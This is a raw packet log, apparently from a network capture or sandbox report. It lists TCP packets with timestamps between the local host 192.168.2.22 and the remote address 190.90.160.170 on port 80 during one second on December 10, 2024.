Dec 10, 2024 14:20:54.549771070 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.549771070 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.550465107 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.550477982 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.550514936 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.551254988 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.551281929 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.551321983 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.551321983 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.552090883 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.552103043 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.552146912 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.552146912 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.552799940 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.552813053 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.552850962 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.552850962 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.553554058 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.553570986 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.553616047 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.554398060 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.554413080 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.554447889 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.554464102 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.555103064 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.555114985 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.555169106 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.555854082 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.555866003 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.555911064 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.555911064 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.556696892 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.556710005 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.556755066 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.557382107 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.557431936 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.557439089 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.557482004 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.558259964 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.558271885 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.558326960 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.559067011 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.559079885 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.559119940 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.559119940 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.559782028 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.559798956 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.559827089 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.559911013 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.560704947 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.560718060 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.560758114 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.560758114 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.561376095 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.561388016 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.561436892 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.562185049 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.562196016 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.562242985 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.562242985 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.562935114 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.562948942 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.562978983 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.563263893 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.563822985 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.563834906 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.563929081 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.564393044 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.564539909 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.564563990 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.564657927 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.565161943 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.565268040 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.565429926 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.565505028 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.566073895 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.566098928 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.566137075 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.566147089 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.571355104 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.571434021 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.571652889 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.571697950 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.571851015 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.571865082 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.571896076 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.572602034 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.572614908 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.572653055 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.573282957 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.573414087 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.720310926 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.720408916 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.720434904 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.720490932 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.720608950 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.720622063 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.720680952 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.721198082 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.721349955 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.721390009 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.721465111 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.721970081 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.721992016 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.722035885 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.722035885 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.722497940 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.722579956 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.722589016 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.722667933 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.723272085 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.723284006 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.723323107 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.724175930 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.724189997 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.724286079 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.724991083 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.725055933 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.725120068 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.725163937 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.725723982 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.725775957 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.725820065 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.725883961 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.726330042 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.726397991 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.726398945 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.726449966 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.727282047 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.727319002 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.727330923 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.727406025 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.728301048 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.728312969 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.728368044 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.729022026 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.729096889 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.729496002 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.729552031 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.730020046 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.730101109 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.730106115 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.730144978 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.730820894 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.730889082 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.731285095 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.731333017 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.731703997 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.731756926 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.732028008 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.732084990 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.732670069 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.732681990 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.732731104 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.733294964 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.733309984 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.733351946 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.733351946 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.733884096 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.733896971 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.733930111 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.733958006 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.734428883 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.734441042 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.734484911 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.734484911 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.734997034 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.735050917 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.735560894 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.735618114 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.735816002 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.735865116 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.735881090 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.735924959 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.736633062 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.736645937 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.736684084 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.736684084 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.737309933 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.737322092 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.737377882 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.738006115 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.738049030 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.738065004 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.738095045 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.738754988 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.738818884 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.738864899 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.738913059 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.739712000 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.739758015 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.739763021 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.739824057 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.740338087 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.740396976 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.740462065 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.740508080 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.741190910 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.741203070 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.741240978 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.741267920 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.742077112 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.742089033 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.742121935 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.742144108 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.742799997 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.742811918 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.742878914 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.743551970 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.743567944 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.743613958 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.743613958 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.744214058 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.744282007 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.744319916 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.744363070 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.745038986 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.745050907 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.745100021 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.745100021 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.745788097 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.745801926 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.745852947 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.745852947 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.746697903 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.746711969 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.746751070 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.746751070 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.747339964 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.747353077 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.747390985 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.748229980 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.748243093 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.748274088 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.748296022 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.748847961 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.748899937 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.749011993 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.749077082 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.749756098 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.749768972 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.749813080 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.750433922 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.750448942 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.750483990 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.750514984 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.751482964 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.751496077 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.751543999 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.751543999 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.752295971 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.752309084 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.752356052 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.752799988 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.752844095 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.752846003 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.752887964 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.753514051 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.753557920 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.753566027 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.753601074 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.754323959 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.754338026 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.754379988 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.754400015 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.755052090 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.755130053 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.755531073 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.755582094 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.755994081 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.756006956 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.756048918 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.756048918 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.756762028 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.756773949 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.756805897 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.756822109 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.757493973 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.757514000 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.757545948 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.757545948 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.758230925 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.758342981 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.763676882 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.763688087 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.763860941 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.764046907 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.764060974 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.764106989 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.764106989 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.764748096 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.764822960 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.764990091 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.765038967 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.765607119 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.765650988 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.912605047 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.912681103 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.912846088 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.912846088 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.913007021 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.913052082 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.913086891 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.913086891 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.913710117 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.913772106 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.913882971 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.913919926 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.914319992 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.914340973 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.914366007 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.914398909 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.915077925 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.915117979 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.915136099 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.915165901 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.915887117 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.915962934 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.915966034 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.916016102 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.916639090 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.916706085 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.916743994 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.916835070 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.917409897 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.917433023 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.917469025 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.917469025 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.918148041 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.918195963 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.918210983 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.918278933 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.918943882 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.919023991 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.919101954 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.919152975 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.919822931 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.919899940 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.920295954 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.920341969 CET	49165	80	192.168.2.22	190.90.160.170
